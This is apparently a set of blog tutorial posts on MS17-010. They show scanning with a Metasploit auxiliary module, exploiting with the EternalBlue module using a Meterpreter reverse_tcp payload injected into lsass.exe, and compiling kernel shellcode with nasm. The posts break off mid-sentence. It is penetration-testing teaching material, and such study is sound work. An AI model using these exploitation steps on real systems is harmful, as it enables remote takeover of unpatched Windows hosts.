MS17-010 Vulnerability - Scanning using Metasploit on KALI Linux

In the video below we will identify computers affected by the MS17-010 vulnerability, by  using a Metasploit auxiliary scanning module.
Check also my other post on detecting the MS17-010 vulnerability by using NMAP.

MS17-010 is a severe SMB Server vulnerability which affected all Windows operating systems and was exploited by WannaCry, Petya and Bad Rabbit Ransomware.
This vulnerability was made public in March 2017 and allowed remote code execution on the victim computer. 
For more information, check the Microsoft Security Bulletin MS17-010:
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/ms17-010
https://support.microsoft.com/en-au/help/4013389/title

Metasploit commands used in this video:
search name:ms17_010 
This command lists the Metasploit modules containing the string "ms17_010" in the name. 
Can also simply use: search ms17_010
use auxiliary/scanner/smb/smb_ms17_010
This command selects the module "auxiliary/scanner/smb/smb_ms17_010".
show options
This command displays the options available to the selected module.
set RHOSTS <IP_Address or IP_Address_Range>
This command will set the target IP address (addresses) for the module.
set threads 200
This command will set the number of concurrent threads to 200. (By default is 1 thread)
run
This command will run the Metasploit module.

MS17-010 Vulnerability - Using EternalBlue exploit module in Metasploit

Image
Previously we identified the MS17-010 vulnerability by scanning using NMAP and by scanning with a Metasploit auxiliary module.

In the video below we will exploit the MS17-010 vulnerability by using the EternalBlue Metasploit module which comes by default with Metasploit Framework.

Metasploit commands used in this video:
search ms17_010
This command identifies modules containing the "ms17_010" string.
use exploit/windows/smb/ms17_010_eternalblue
This command selects the "exploit/windows/smb/ms17_010_eternalblue" module.
show options
This command displays the options available for the selected module.
set processname lsass.exe
This commands selects the process to inject the payload into.
set rhost <IP_Address>
This command sets the target IP address.
show payloads
This command (when is executed under the module context), shows the payloads compatible with the selected module.
set payload windows/x64/meterpreter/reverse_tcp
This command selects the Meterpreter reverse_tcp paylo…

Generating shellcode - using msfvenom to generate a binary payload

Image
In this video we generate a binary payload (shellcode) that we will use later on to exploit the EternalBlue Windows OS vulnerability.

The article below is an excellent introduction to how a binary payload works:
https://blog.rapid7.com/2015/03/25/stageless-meterpreter-payloads/

Our payload has 2 parts that will be generated independently, then combined into a single file.

The first component is the Windows x64 kernel shellcode for Eternalblue exploit and the ASM code is downloaded from the following location:
https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501

We will use "nasm" (general-purpose x86 assembler) on Kali Linux, in order to compile the kernel shellcode, by using the command below:

nasm -f bin eternalblue_x64_kshellcode.asm -o sc_x64_kernel.bin

The output for this command (and the first component for our payload) is the "sc_x64_kernel.bin" file.

The second component for our payload, is the part of the code which will create the Meterpreter shell fro…
